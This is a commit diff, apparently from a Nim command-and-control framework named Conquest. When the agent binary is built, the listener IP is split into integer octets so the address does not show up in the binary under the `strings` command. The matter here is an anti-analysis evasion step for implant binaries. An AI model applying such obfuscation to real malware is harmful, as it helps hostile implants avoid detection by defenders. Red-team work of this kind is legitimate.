Hide hardcoded IP address from agent binary by splitting it up into integer octets

server/agent/agent.nim

@@ -121,13 +121,19 @@ proc agentBuild*(cq: Conquest, listener, sleep, payload: string) =
     let listener = cq.listeners[listener.toUpperAscii] 
 
     # Create/overwrite nim.cfg file to set agent configuration 
-    let agentConfigFile = fmt"../agents/{payload}/nim.cfg"    
+    let agentConfigFile = fmt"../agents/{payload}/nim.cfg"   
+
+    # Parse IP Address and store as compile-time integer to hide hardcoded-strings in binary from `strings` command
+    let (first, second, third, fourth) = parseOctets(listener.address)
 
     # The following shows the format of the agent configuration file that defines compile-time variables 
     let config = fmt"""
     # Agent configuration 
     -d:ListenerUuid="{listener.name}"
-    -d:ListenerIp="{listener.address}"
+    -d:Octet1="{first}"
+    -d:Octet2="{second}"
+    -d:Octet3="{third}"
+    -d:Octet4="{fourth}"
     -d:ListenerPort={listener.port}
     -d:SleepDelay={sleep}
     """.replace("    ", "")

server/utils.nim

@@ -3,6 +3,11 @@ import std/wordwrap
 
 import ./[types]
 
+proc parseOctets*(ip: string): tuple[first, second, third, fourth: int] = 
+    # TODO: Verify that address is in correct, expected format
+    let octets = ip.split('.')
+    return (parseInt(octets[0]), parseInt(octets[1]), parseInt(octets[2]), parseInt(octets[3]))
+
 proc validatePort*(portStr: string): bool = 
     try:
         let port: int = portStr.parseInt